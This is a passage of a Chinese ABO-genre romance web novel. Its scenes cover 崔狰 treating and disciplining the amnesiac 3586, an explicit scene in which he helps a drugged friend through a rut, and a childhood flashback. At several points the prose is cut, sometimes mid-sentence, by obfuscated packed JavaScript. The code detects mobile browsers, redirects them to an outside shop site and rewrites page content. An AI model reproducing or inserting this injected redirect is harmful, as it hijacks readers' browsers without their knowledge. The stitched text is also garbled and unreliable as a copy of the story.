“我不是你的主人。”崔狰冷冷打断他,“你若不想说,那就滚回地巢。” 3586似乎不敢置信崔狰对他如此无情,灰扑扑的脸上布满伤心。见崔狰当真要将他丢出去,干脆闭眼撞进崔狰怀里,伸手牢牢抱住崔狰,嘴里委屈地喊个不停:“主人主人……” 他的力气很大,崔狰若要挣脱倒也不难,只是崔狰稍稍一动,他就喊得更加大声。 “闭嘴!”崔狰不想把动静闹大,无奈道,“你就只会这一句吗?你究竟找我干什么?” 3586将他松开少许,似乎想说什么,张嘴却又说不出,苦恼地抓了抓脑袋。 崔狰指了指屋里的椅子:“坐下。” 3586似是有些不放心,害怕一松手崔狰又要把他赶出去,可是对上崔狰的视线,终究还是乖乖坐了下来。 “既然不会说,那么我来问,你点头,或者摇头。”崔狰道,“能听懂吗?” 3586反应一会儿,点了点头。 崔狰站在他面前,自上而下注视着他,“你认识我?” 3586眼睛亮了几分,很快点头。 “在哪里认识我的?特战部吗?” 3586摇摇头。 “在军校?” 3586继续摇头。 崔狰又问了几个地方,3586却都摇头。崔狰微微蹙眉,他此前大多数时间都在学习和工作中度过,除了那些地方,还会……等等! 崔狰眼眸倏然一沉。他盯着3586,一字一句问:“你认识我的地方,是在……崔家?” 3586从椅子上跳起来,猛猛点头。 崔狰攥紧了拳头,一个匪夷所思的念头涌上他的心头。他张了张口,声音有些艰涩,“是在……我的母亲,崔瑶的研究所,对吗?” 3586似是听到了熟悉的名字,又扑过来抱住他,开心地喊:“主人!” 崔狰的视线却愈加冰冷,他一把捏住3586的脖颈,细细端详他的脸。 脸上的脏污无法掩盖他极为优越的五官。不同于陆霆雨张扬的帅气,以及沙沅儒雅的英俊,3586的长相有一种精雕细琢的矜贵之感。 这分明是人类的皮囊。 “你究竟……是什么东西?” 会是“它”吗?那个陪伴了他六年的小家伙…… 3586乖乖地任由他捏着,侧头蹭了蹭他的手指,冲他嘿嘿直笑。 虽然匪夷所思……但并非没有可能。崔狰松开手,命令道:“把你的信息素放出来。” 3586想了一会儿,听话地释放出一股信息素。那味道纯净,浓郁,竟然是和崔狰一模一样的抑制剂味道! 崔狰眼神暗了暗,果然如此。他又道:“换一种。” 若对联盟任何一个Alpha说,换一种信息素,人们肯定会觉得这个人在说笑。除了没有腺体的Beta,Alpha和Omega们在成年之后觉醒信息素,从此伴随一生,无法更改。 可崔狰显然没有在说笑,3586也并不觉得这个命令有什么不妥,他又释放出一股信息素。 这次是清淡的薄荷草味。是季舒的信息素味道。 崔狰眼中满是复杂的神色。怪不得3586能轻易破开信息素锁逃出地巢,不被任何人发现悄然潜入医务处,他竟能模仿其他人的信息素! 只是,这种事,不会发生在任何一个正常的Alpha身上。这片星云之上,只有一种生物,拥有模仿信息素的能力。 “你是那只黯蚀体。” 崔狰抚摩他的脸颊,感受到属于人类的温度。“不,黯蚀体不会拥有人类的皮囊。”他低喃。 “我猜,你是一个吞噬了那只黯蚀体的怪物……” 季舒说过,3586失去了记忆。如果说现在叫他“主人”的这个怪物,是当年陪伴他在崔家度过六年漫长时光的黯蚀体,那么这具身体真正的所有者,或许还没有醒来。 脑海中划过那晚在地巢见到的黑发黑瞳,崔狰勾起了嘴角。他已经很久没遇到这么有趣的事了。 “你记住,今后每天晚上都到这里来找我。”他对3586说,“我会给你治疗。” 他要治好他。如果一切当真如他所想,那么等到这个怪物彻底清醒的时候,整个联盟将会收到一份大礼。 “主人!”3586开心地扑进他怀里,若是身后有条尾巴,此刻恐怕已经摇出残影了。 崔狰有些嫌弃地将他拎开,“今天先从洗澡开始。” * 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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算了,他既然不会,我就教教他。陆霆雨拿着礼物来到23号诊室门前,觉得自己真是全联盟最温柔的Alpha,特战部最体贴的长官。即便还没有喜欢上崔狰,也不忍心看他吃暗恋的苦。 他像往常那样想推门进去,可是门锁了。陆霆雨有些奇怪,往常崔狰都要等到睡觉前才锁门的。 他伸手敲了敲门,过了好一会儿,崔狰才过来开门。 “怎么这么早锁门?”陆霆雨想进去,却被崔狰拦住。 “我要睡了。”崔狰说。 陆霆雨抬头看了看他的脸色,好像是有一些疲惫,一定是最近来看诊的人又增加了。陆霆雨感觉自己胸口闷闷的,有点心疼。 等会就去让医务长规范一下看诊制度,不能再加重崔狰的工作量了。 “那你好好休息。”陆霆雨将手中的礼物递过去,“这个给你。” 崔狰伸手接过一整箱昂贵的高级营养剂,有些疑惑,“为什么突然送我东西?” 因为今天是初雪。 这句话陆霆雨光是在脑子里想想就觉得肉麻到不行,浑身像是被刺扎了一般难受。他别过脸去,轻哼一声:“不要就算了。” 崔狰却没有推拒,“高级营养剂,我正好需要。谢谢。” 浑身的刺在一瞬间被拔干净了。陆霆雨只觉心底舒坦得不行,甚至有点痒痒的。 就知道这个纯情的大龄处A根本受不了年轻人的花花招数。 他微微踮脚,伸手拉下崔狰的脖子,有些得意地笑道:“不用谢,我自会讨要回礼。” 他熟练地凑近后颈,埋头正想吸一口,笑意却倏然僵在了脸上。 崔狰后颈的腺体上,有一个清晰的牙印。 11.知道疼了吗 崔狰从睡梦中被热醒。 他推了推身上的被子。很沉,没推掉。他感觉整片后背都热烘烘的,尤其是……后颈。 后颈处的腺体就像被热烫的毛巾擦拭着,一下,又一下。然后干脆覆在了上面,发出濡湿的水声。 ……等等,水声? 崔狰猛地睁开眼睛,伸手推开颈间的脑袋。 “滚开。”他的声音低哑,压抑着睡梦被打扰的怒意。 3586双眼迷蒙,似乎根本没听到他说话,从背后搂在他腰间的手臂收紧几分,又将嘴唇贴到崔狰的腺体上。 他入迷地舔吃着,在察觉到崔狰的抵抗后,干脆重重咬了下去。 信息素的味道瞬间溢涨,3586发出满足的呓语,还想得寸进尺,整个人却突然被一股巨力掀下了床。 灯光亮起,崔狰垂眼看着床下被摔蒙了的3586。 “我答应过给你治疗,”崔狰面无表情,眸中却隐隐闪着怒火,“但是,我不会治疗一条咬人的狗。你走吧。” 3586怔愣半晌,终于反应过来自己刚才干了什么,也明白过来崔狰话里的意思。 3586跪在地上,白色的脑袋渐渐垂下。 崔狰见他不动,语气愈加不耐,“听不懂吗?滚回地巢……” 啪嗒。 崔狰的话顿住。 啪嗒啪嗒啪嗒。 大颗大颗的眼泪滴到地上,3586捂着脸,伤心地痛哭起来。 …… 回想起昨晚的情形,崔狰顿觉头疼。 “这是个意外。”他对陆霆雨说。 陆霆雨面色阴沉得要滴出水来。 “是谁?”他揪着崔狰的衣领,“谁干的?” 崔狰摸了摸自己的后颈,欲言又止。 陆霆雨冷笑一声,“你不说,我自己进去看!” 怪不得这么早锁门,原来是金屋藏娇。他倒要看看,特战部里哪个色欲熏心的混球敢爬崔狰的床! 崔狰拦住他,“没人在里面。” “没人?那你脖子上是什么?”陆霆雨咬牙切齿,“你该不会说,这个是被狗咬的吧?” 崔狰面不改色地点了点头,“确实是被狗咬的。” 陆霆雨简直要被他气笑了,“崔狰,你该不会以为我是傻的吧?” “怎么会。”崔狰伸出手,揉了揉他的发顶,“少将军自然是最聪明的。” 陆霆雨怒气一滞,挥开他的手,“那就让我进去。” “少将军不相信我吗?”崔狰低叹一声,“我捡到一只野狗,刚才给他洗澡,不小心被他咬了一口,现在已经跑了。不信你仔细闻闻,这屋里还有股狗味。” 陆霆雨半信半疑地吸了吸鼻子,竟真闻到一股狗毛的味道。还是那种刚洗完澡,吹干毛发,喷香蓬松的狗味。 这味道一直有吗?刚才怎么没闻到? “这下信了吧。”崔狰靠近了些,“这屋里除了我,就只有狗进来过,长官可不能冤枉我。” 确实没有别的Alpha的味道。陆霆雨有些冷静下来,若崔狰当真和人在这里做了什么,情欲之下的信息素味道是遮掩不住的。 他有些懊恼,伸手摸了摸崔狰的腺体,“疼不疼?” 崔狰一怔,随即笑了笑,“挺疼的,下次见到那条野狗,一定好好教训他。” 陆霆雨盯着他瞧了一会儿,突然将人拉下,在崔狰后颈的腺体上,极轻地落下一个吻。 “崔狰,今天是初雪。”低低的声音顺着脖颈,钻入崔狰的耳朵,“冬天快乐。” 夜色深沉。夜雪不知何时又飘了起来,细细簌簌落满诊室的窗沿。 陆霆雨走了。 崔狰锁好门,站在门背后,抬手摸了摸自己的后颈。 “主人……”小心翼翼的声音从墙根处响起,3586像是知道自己犯了错,蹭着墙一点点向崔狰挪动。 崔狰眯了眯眼,“过来。” 3586赶紧跑到他面前笔直站好。他刚洗完澡,只套了一条崔狰的睡裤,赤裸的上半身正丝丝冒着热气。 “转过去。” 3586背过身去。平民Alpha的身材优势在他身上展现无遗,流畅的肌肉线条比特战部的士兵还要漂亮,只是浑身一道道大大小小的伤疤打破了这种美感。 崔狰随手抽出皮带,视线扫过那些伤疤,稍一停顿,扬手重重打了下去。 “这是惩罚你昨晚不听话。” 昨晚他最终还是把哭哭啼啼的3586赶了出去,但今晚这家伙再度可怜兮兮地摸进他的房间时,他到底没有阻止。 崔狰并没有把3586完全当成当年那个弱小的“它”,能吞噬一只黯蚀体的意识,这具身体的主人毫无疑问是个沉睡中的怪物,崔狰不会对他放松半分警惕,可是……崔狰也没办法不管他。 毕竟,他曾经是真心将“它”当成自己的“宠物”。 宠物不听话,光讲道理是不行的,得打。 皮带高高扬起,崔狰又重重抽下一鞭,在那冒着热气的脊背上留下深深的红痕。 崔狰冷声问:“知道疼了吗?” 3586疑惑扭头,像是突然明白了他的意思,赶忙配合地痛呼一声:“啊!” 崔狰被气笑,扬起的第三鞭却有些打不下去。3586见他笑,以为他不生气了,开心地凑上来抱住他,“主人!”好似只要不赶他走,崔狰想怎么打都可以。 崔狰丢开皮带。算了,至少还知道在他糊弄陆霆雨的时候配合着释放出信息素,不算太笨。 “狗味收一收。”崔狰嫌弃,“上哪学的这种信息素。” 3586眼神中有些得意,炫耀似的接连释放了好几种信息素味道,然后……面色苍白地倒了下去。 崔狰无语,将人提溜进卧室,丢在床边地板上铺的一块薄毯上。 “你现在的信息素弱得很,治疗期间除非有我的允许,否则不许乱用信息素。”崔狰警告他,“知道了吗?” 3586沮丧地蜷在毯子上,点了点头。 崔狰拿出一瓶陆霆雨送的高级营养剂丢给他,看着他乖乖喝下,这才脱了衣服,想上床睡觉。 走到床边,对上3586好奇的视线,只好又去找了条睡裤穿上。从前从没把“它”当成人类对待,现在对着这具皮囊,崔狰却没办法再像以前那么随意。 3586的身体陈伤很多,若是信息素强大如陆霆雨,一次深入的信息素疏导就能起效,可3586的信息素很弱,激烈的治疗手段反倒会适得其反。 于是崔狰采取了一种最温和的治疗方法,就是趁3586意识最放松的时候,让他缓缓吸入持续而少量的信息素。 简称,和他一起睡觉。 “晚上不许再爬上床。”崔狰警告道。 3586委屈地点点头,把地上的薄毯又往崔狰床边更近的地方拽了拽,这才躺了上去。他身高和崔狰差不多,一米多长的薄毯根本装不下他一双长腿,3586只好把身体蜷起来,勉强让薄毯将他整个人兜住。 虽说Alpha的体质即便冻上一晚上也不会出事,崔狰还是隐隐觉得这一幕有点像在虐待动物。 他想到什么,问3586:“给你买的东西呢?” 3586一僵,半晌,不情不愿地从睡裤口袋里掏出一件东西戴上。 柔和灯光下,白发白瞳的少年脸上,是一个由金属和皮革制成的黑色止咬器。 不枉他连夜在星网上下单,这下就不担心这小子半夜再爬床咬人了。崔狰满意地点了点头,关灯前,最后看了一眼3586。 只是,怎么更像在虐待动物了? * 天气一天天变冷,崔狰的23号诊室也逐渐冷清起来。倒不是因为他不再受士兵们欢迎了,而是边境战场不安稳,士兵们开始频繁地出任务。 崔狰对此倒是乐见其成,他正好有更多的空闲可以用来探查特战部的底细。只可惜,他根据陆霆雨身份环的权限,虽然找到了几处机密空间,但除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895139|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地巢中养了一群平民“诱饵”之外,并没有发现更大的秘密。 也许是陆霆雨的权限还不够,也许……他要找的东西并不在这里。 说到陆霆雨,崔狰感觉这位少将军最近有些奇怪,似乎,是在躲着他。 想到初雪那天,陆霆雨有些反常的举动,以及,落在腺体上的那个吻……是的,崔狰很确定那是一个吻。 不同于陆霆雨平时扒着他脖子嗅闻的举动,那个时候陆霆雨并不是在向他索取信息素,只是单纯的……吻。 崔狰有些愰神,感到后颈传来温热的吮吸,下意识喊了一声:“长官?” 吮吸的动作突的停住,温热离开了他的后颈,闷闷的声音在耳边响起:“主人……” 崔狰清醒过来,侧身看去,昏暗中,这段时间夜夜相对的一张俊脸正幽幽盯着他。 崔狰将枕头边一只损坏的止咬器丢下床,面无表情地开口:“自己去领罚。” 3586默默爬下床,熟练地找到崔狰的皮带,在自己结实的小臂上重重抽了三下。 然后又爬回床上,从身后贴上崔狰。 崔狰简直要被气笑,“谁说你可以上来的?” 3586沉默一阵,又爬下床,再次拿皮带抽了自己三下,然后——又爬回床上。 崔狰察觉出一丝异样。3586一直很听话,虽然时常会睡糊涂梦游般摸上床,甚至在睡梦中弄坏过好几个止咬器,但每次被他叫醒训斥一番,肯定会乖乖听话回地上睡。 今天这是怎么了? “起来。” 崔狰打开灯,坐起身仔细检查3586的身体。3586赤着上身,与他对坐在床上,一双透明的眼睛专注地盯着他的脸。 崔狰摸上他的腺体,一股刚洗完澡、吹干毛发的蓬松狗毛味道瞬间逸散出来。崔狰斜了他一眼,这家伙看着呆傻,实际上狡猾得很,自从发现他在睡梦中闻到这种味道会下意识抱住之后,总是偷偷不经意地散些出来,害他时常有种真的养了条狗的错觉。 “身体没什么大碍。”不止没什么大碍,经过这段时间的舒缓治疗,3586的暗伤已经好了大半,信息素也比以前强上一些。 “所以,你今天到底怎么了?”狗味充盈,崔狰顺手就在那头蓬松的白毛上撸了一把。总归是自己的宠物,关心一下心理健康还是很有必要的。 3586有些怔愣,随即低下头,把脑袋轻轻抵上崔狰的肩膀。 “主人……” 他的声音低落,满是依恋和不舍。崔狰突然明白过来。 “你要出任务了?” 特战部的士兵们忙碌起来,枭奴自然也不可能闲着。 3586点点头,伸手环住他的腰,赤裸的上身与他紧紧相贴。 枭奴的战损率远高于普通士兵,3586这一去,能不能回来,全看运气。 夜夜偷吃他的信息素,好不容易恢复健康的宠物,要是莫名其妙死在了外面,还真是让人有点不爽。 这一晚,崔狰到底还是没把人赶下床。 3586走后,崔狰变得更加清闲。他思索着下一步的计划,打算找沙沅商量一下。 直到翻出通讯列表,崔狰才发现,他和沙沅似乎许久没有通星讯了。他进入特战部以来,生活逐渐被医兵的工作占满——当然,陆霆雨和3586也占据了他许多心神——以至于没能顾得上和沙沅联系。 那么沙沅呢?他在忙什么? 崔狰正想按下通讯,来自沙沅的星讯提示却突然亮起。 倒是巧了。崔狰唇角弯了弯,接通了星讯。 “阿沅,许久不见,你……”崔狰话音顿住,在看清星讯上的画面后,眉头渐渐蹙起,“你怎么了?” 画面漆黑一片。模糊中,一点金色像暗屋内摇摇欲坠的暖光,随时可能熄灭。 “脆脆……救我。”金发青年痛苦地喘息,紧紧握住身份环贴在唇边,像溺水者抓住了最后一根救命稻草。 “我的易感期……提前了。” 12.我选注射 沙氏家族,联盟首屈一指的商业巨鳄,掌控着联盟居民衣食住行的方方面面,是十二贵族之中唯一凭借雄厚的财力跻身其中的顶级门阀。 沙家的庄园位于中心城赛德亚最为寸土寸金的昂贵地段,崔狰来过许多次,熟门熟路找到属于沙沅的别墅。 沙沅的管家早就在门口等他。 “二少爷的情况很不好。”管家满面愁容,“崔少爷,您真的有办法救治吗?” “到底怎么回事?”崔狰沉声问,“他的易感期怎么会提前?” “这……”管家踌躇片刻,还是如实相告,“其实并不是提前,而是有人给二少爷下了刺激腺体的药。” 崔狰瞳孔微缩,“有人?” “大少爷回来了。”管家隐晦道,“二少爷婚期将近,老爷送了二少爷一座浮空岛,大少爷知道后有些不高兴。” 幽邃的紫眸中冰寒一片,崔狰没有再问,推门进入沙沅的房间。 房间里暗不见光,浓郁的盐水柠檬味扑面而来,熏得崔狰皱了皱眉。 沙沅的信息素在Alpha中相当普通,平日里身上有一股淡淡的咸柠檬味,酸酸咸咸的清香并不叫人讨厌。可眼下,酸到极致的柠檬涌出辛锐的苦味,光是闻着就能感受到Alpha此刻的暴躁与痛苦。 床单散乱,床上空无一人。崔狰在黑暗中缓缓往墙边摸索,毫不吝啬地释放出自己的信息素,轻声唤道:“阿沅,我来了。” 无人应答。 崔狰摸索到窗边,看了眼厚重的窗帘,停下脚步。他抬起手伸过去,下一秒,手腕被一只灼烫的手一把握住,整个人被扯入窗帘之中。 嘴唇被人重重咬住,急切的啃噬吮吻如乱了节奏的暴雨,狂乱砸下。 沙沅浑身痛苦地颤抖着,死死抱住崔狰不住地亲吻,滚烫的舌横冲直撞探入崔狰的口腔,盲目地往深处一再索取。 崔狰伸手在他脊背上一下一下抚摩,直到他因缺氧而稍稍退出些许,才贴着他的唇低声道:“阿沅,找错地方了。” 他伸手扯开自己的衣领,将后颈露给沙沅,“在这里。” 沙沅混沌的大脑还没能消化崔狰话里的意思,身体已经循着本能动作。他的亲吻胡乱往下蔓延,将崔狰的脖子啃了个遍,才终于找到后颈处的腺体,将唇死死印在上面,卖力地允吸起来。 纯净、浓郁的抑制剂味道灌入口鼻,沙沅像是终于获得了镇痛剂的绝症病人,宝贵的药物入体,疼痛得到片刻缓解。可那片刻太过短暂,很快,更猛烈的折磨自心底烧灼,叫他比服药前更痛苦百倍、千倍。 崔狰轻轻叹息一声。他太熟悉盐水柠檬的味道,也太知道该如何亲手料理它。 厚重的窗帘荡起沉闷无序的波纹,幽暗密闭的环境中,金发青年像一颗被泡入抑制剂浓缩液中的饱满柠檬。 崔狰鼓励似的将他的头按在自己颈间,空闲的手在他热烫的后颈上轻柔按压。 沙沅急喘两声,张口叼住崔狰后颈的腺体,乱无章法。 “脆脆……脆脆……” “嘘。”崔狰贴上他的耳朵,呼吸包裹住发烫的耳垂,“乖一点,交给我。” 咸柠檬被连皮带肉挤捏,溅出浓郁酸苦的汁水,顺着指缝滴答流了满地。 窗帘闷热,沙沅全身都出了一层薄汗,倒在崔狰身上,大口大口喘着气。 崔狰摸了摸他的腺体,竟然还是硬烫的,不由皱起眉,“他给你下的什么药?药性这么烈。” 沙沅神志恢复少许清明,哑着嗓子道:“会毁了我腺体的药。” “什么?”崔狰脸色蓦地沉下,“找医生看了吗?” “看了,治不了。如果能靠信息素控制住,把药性排干净,运气好的话,我还能继续当个Alpha。”沙沅话语中带了丝玩笑,手指把玩着崔狰的发尾,“脆脆,你的头发有些长了,我帮你剪剪?” 崔狰拉下他的手,语气严厉几分,“这不是一句玩笑能揭过的事。” Alpha的腺体如果遭到永久损伤,从此就无法使用信息素,沦为与Beta无异的伪Alpha。直白些说,不亚于化学阉割。 “他这么对你,就为了一个浮空岛?”对自己的亲兄弟使用这种手段,即便是在视争权夺利为家常便饭的沙家,也堪称恶毒至极。 “浮空岛的开发涉及到下面的一整片城区,可以说谁掌控了这座浮空岛,就掌握了沙家未来至少十年的话语权。”沙沅苦笑,“我跟老爹说别给我,被他臭骂了一顿。这下好了,他儿子要从废物Alpha变成废物Beta了。” 崔狰垂眸看他,“你知道,我不会让这种事发生的。” 沙沅笑意淡了几分,他捧起崔狰的手,用衣角一点点擦去他手上的污渍。 “脆脆,你如果要帮我,现在的信息素浓度可不够。” 两人谁都没提刚才混乱的吻,和超出了朋友界限的帮助。因为彼此心知肚明,今天这一切,还远没有结束。 “抱歉。”空气中的灼热又开始蔓延,沙沅心底难以抑制的暴躁之中,渗出一股隐秘的快意,将崔狰拉下水的快意。 “抱歉,脆脆,你会怪我吗?” 在他拨通星讯的那一刻,他就知道崔狰会救他。而崔狰也知道,他来到这里,将会面临什么。 “对我,永远不用说抱歉。” 崔狰敛下紫眸中的情绪,掀开窗帘走出去,拿出准备好的催情剂,注入自己的手臂。 他走到床边坐下,对沙沅说:“过来,吃药。” 沙沅注视着他,一步一步缓缓走到他面前,跪在他褪间。他一头灿烂的金发有些汗湿地黏在鬓边,同色的瞳孔中灼灼如烈日。 “你上次这样帮我,还是在我18岁第一次易感期的时候。”沙沅轻声说。 崔狰垂眸凝望着他,“这次会比上一次更辛苦。” “是啊……我不想太辛苦。”沙沅的声音低到近乎呓语,可是卧室太安静,他的话语还是清晰地传入了崔狰的耳朵。 “所以这一次,不要口服了……脆脆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沙沅后来才听说,崔狰的母亲,那个会做好吃糕点的崔瑶夫人,崔狰的外祖父和外祖母,把崔狰宠得嚣张跋扈的罪魁祸首,以及崔狰的舅舅们,总被崔狰挂在嘴边炫耀的英俊帅气的Alpha们,全都死了。崔家上下除了崔狰和他的父亲,无人幸免。 不,据说那不是崔狰的父亲。崔狰真正的父亲是个低贱的平民,是他勾引了崔瑶夫人,生下崔狰,伪装成贵族的血脉。在看到崔瑶与丈夫恩爱,又怀上一个真正属于贵族的孩子之后,那个恶毒的平民因爱生恨,偷偷勾结被赶出星云,伺机报复的王族,引他们登上里里弗斯岛,屠杀了所有崔家人。 而因为贪玩幸运逃过一劫的崔狰,却在看到里里弗斯岛的惨状时,亲手剖开死去的母亲的肚子,害死了腹中还没有断气的婴儿。 一夜之间,崔狰从崔家千宠万宠的小少爷,变成了人们口中的“私生子”“肮脏的劣兽”“残暴的贱种”。 沙沅不知道崔狰是不是私生子,他只知道,崔狰不脏,也不残暴。他们打架时,崔狰从不会真的弄疼他,打完之后,还会和他分享他母亲做的美味糕点。 他只知道,崔狰失约了,他必须去见他。 13.蓝莓大王与柠檬大王 崔家的庄园不比沙家的奢华高调,自有一股岁月沉淀的沉肃古朴。曾经这里掌握了联盟最核心的基因技术,来崔家拜礼的学界泰斗和青年才俊络绎不绝。如今却门庭零落,即便今天是这里的主人——廉崇英当选联盟最高议会议员的日子,也依然无人问津。 “一个落魄贵族嫁入崔家的赘婿,如今却成了崔家唯一的主人。”沙望山走在无人迎接的庭院中,轻哼一声,“里里弗斯岛惨案毁了崔家,却叫幸存的廉崇英讨了便宜,博得议会那群老头的同情票,平步青云。” 8岁的小沙沅背着大背包,牵着父亲的手,似懂非懂地问:“崔狰的父亲当上了议员,那崔狰呢?他讨到了什么便宜?” 沙望山沉默片刻,对天真的小儿子道:“等会我和他父亲有公事要谈,你既然吵着要跟来,那便亲自去见见那孩子吧。” 自然是要见的。不仅要见,他还要带了小木剑,要补上跟崔狰约定的比斗。等打完了,他的包里还有爽口的波波汽水(一瓶蓝莓味和一瓶柠檬味),以及季节限定的烤栗子蛋糕。 对了,他还带了一套时下最流行的翼甲格斗漫画,崔狰最喜欢看这些了,一定会求着他借给他看。 想到那颗嚣张跋扈的蓝莓撒娇求他的模样,沙沅笑歪了嘴,一蹦一跳在幽寂无人的古宅中穿梭。没费多少工夫,他就找到一处造型漂亮的小屋。 小屋与崔家其他建筑都不同,应是近几年新建的,一看就设计得颇费心思,兼具实用、美观与童趣,设计者对住在其中的小主人的宠爱可见一斑。 崔家人根本就是把这家伙宠上天了,不仅吃的穿的都用最好的,连住的也是花里胡哨的童话小屋。沙沅表面不屑,眼睛却忍不住好奇地转来转去,心中的羡慕和嫌弃互相打架。 他莫名想起自己最近看过的画本,里面可怜的公主落入凶残的怪物手里,被关进精巧漂亮的高塔,等待着佩剑的王子前来拯救。 虽然住的地方画风有点像,但是崔狰可不是蓝莓公主。沙沅暗暗想,那家伙是蓝莓班的老大,启蒙学园最嚣张的大猛A,跟他沙沅势均力敌的男人,哪只怪物敢欺负他? 蓬松的金色团子蹦跳着找到屋门,推门进入。 小屋内安安静静,沙沅吸了吸鼻子,感觉空气中隐隐有股腐臭味。他的小脸皱了皱,循着味道往前走。先是脚下踢到了一只碗,碗里的食物还剩下一半,不知已经放了多久,上面长满了霉斑。 沙沅几欲作呕,捂着鼻子将碗丢进垃圾桶。他继续走,又踢到了一个更大的东西。 是个人。 沙沅吓了一跳,一时不确定这人是不是死了。他又踢了两脚,才听到一声模糊的痛呼,地上的人醒了过来。 “哎呦……”那人捂着头上鲜血直冒的伤口,晕晕乎乎站了起来。 看打扮,像是个平民男仆。 “您是?”男仆疑惑地看了看他的金发。 “我是来找崔狰的。”沙沅最烦报上名字后别人对他卑躬屈膝的模样,因此只说了来这的目的。 “崔狰?”男仆似乎想起什么,脸色倏然变绿,“小兔崽子,我好心给他送吃的,他竟然发狂打我!不就是不小心碰坏了瑶夫人给他搭的积木城堡吗?” “果真是肮脏的劣兽,连累全家人,杀死亲妹妹的怪物!”男仆朝一个方向啐了一口,“也就是廉老爷好心,还留着这个杂种,要我说……哎呦!” 他又痛呼一声,扭头一看,一柄小木剑正扎在自己腰间。 “怪物,你可以滚了。”沙沅厌恶地拔出木剑,丢到地上。 男仆的骂声压在喉咙口,视线在沙沅的金发上转了一圈,终究还是捂着脑袋走了。 沙沅往他啐的方向走去,走入角落深深的阴影里,蹲下身。 “崔狰。”他朝坐在地上的小小人影叫了一声。 他以为崔狰死了家人,又受了欺负,会委屈地躲起来哭,可是角落里并没有哭声。崔狰只是抱着双腿,安静地坐着。 “脆脆!”沙沅又叫。 这个绰号是沙沅起的,起因是崔狰刚进入启蒙学园的时候不会写“狰”字,有一次在自己的画作上干脆署名了两个“崔”字,此事被隔壁班的柠檬大王发现,狠狠嘲笑之。 “崔崔?你是叫崔崔吗?”沙沅顶着崔狰涨红的小脸,洋洋得意,“听上去倒是挺好吃的,我吃蓝莓就喜欢吃脆脆的!” 从此,崔崔变成脆脆。 当然,后续是崔狰恼羞成怒,把他摁在地上狠狠揍了一顿这种事,沙沅是不会承认的。 以往崔狰听到他这样叫,肯定会凶巴巴反驳,说不定还会翻老底把他的糗事也拿出来说一遍。可是今天,崔狰却像是没听到一般,安静沉默着。沙沅心底不高兴,伸手想去拉他,却在看清他的头发时惊讶地顿住。 “你的头发……” 那里本来是一头剪得整整齐齐的深紫色短发,和崔狰那双漂亮到不像话的深紫色眼瞳十分相配,整个人就像一颗香甜饱满的小蓝莓。可如今,他的头发已经垂到肩膀上,凌乱披散着,把他的半张脸都遮住了。 而且,他的发色,变成了银灰色。属于最低贱平民的,暗淡的银灰色。 原来那个私生子的传闻是真的。沙沅默默想着,伸手撩开他的头发。 还好,崔狰的眼瞳还是好看的深紫色,只不过,里面没有了沙沅熟悉的嚣张跋扈,只剩一片暗不见光的空洞。 沙沅莫名有些生气,他一把拉起崔狰,带他往浴室走。 “身上沾了这么多血,脏死了。” 一个8岁的孩子,即便是个Alpha,要打伤一个成年人也是很吃力的。崔狰身上的血,一半是那个男仆的,一半是他自己的。 浴室很宽敞,里面有一口恒温的人工浴池。崔狰木然地跟着沙沅走进浴室,任由他脱光自己的衣服,把自己丢进浴池。 沙沅自信满满,跃跃欲试,先是煞有介事地往浴池里撒上彩色浴盐,兴致勃勃搅弄着池水,将崔狰装点成一颗七彩泡泡树。他咯咯笑着想给崔狰拍照留证,以便以后嘲笑他,可是镜头中那双眼睛始终毫无反应地低垂着,瞬间浇灭了沙沅的兴致。 浴室内沉默下来,以致于沙沅后面的工作也敷衍起来。其实也不是他故意敷衍,而是他一个金尊玉贵的小少爷,平时连洗个苹果都不会,更别提洗刷这么大一颗蓝莓。 等到把人胡乱洗干净,拖出浴池,用宽大的干浴巾包住,沙沅已经彻底累瘫在地上。 休息了好一会儿,等到缓过劲儿了,才发现崔狰竟一直维持着被他摆放在一边的姿势,一动未动。没来得及擦干的银灰色头发糊了满脸,正不停地往下滴着水。 “你不冷吗?自己不会擦吗?!”沙沅原地跳起来,怒气冲冲地抓过一块干毛巾,丢到崔狰头上。 毛巾滑落,牵动银灰色的发丝,露出被热气熏蒸过的紫瞳。紫色的湖水已经冷却,结了一层薄薄的,雾蒙蒙的霜,外头日光灿烂,一丝一毫都没有照进去。 沙沅呆了呆,默默起身,替他擦干头发,然后找了一把剪刀,对他说:“你的头发太长了,我给你剪短些好不好?” 崔狰没有回答,像个不知道冷,不知道痛,不知道难受的摆件,只安静坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907766|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 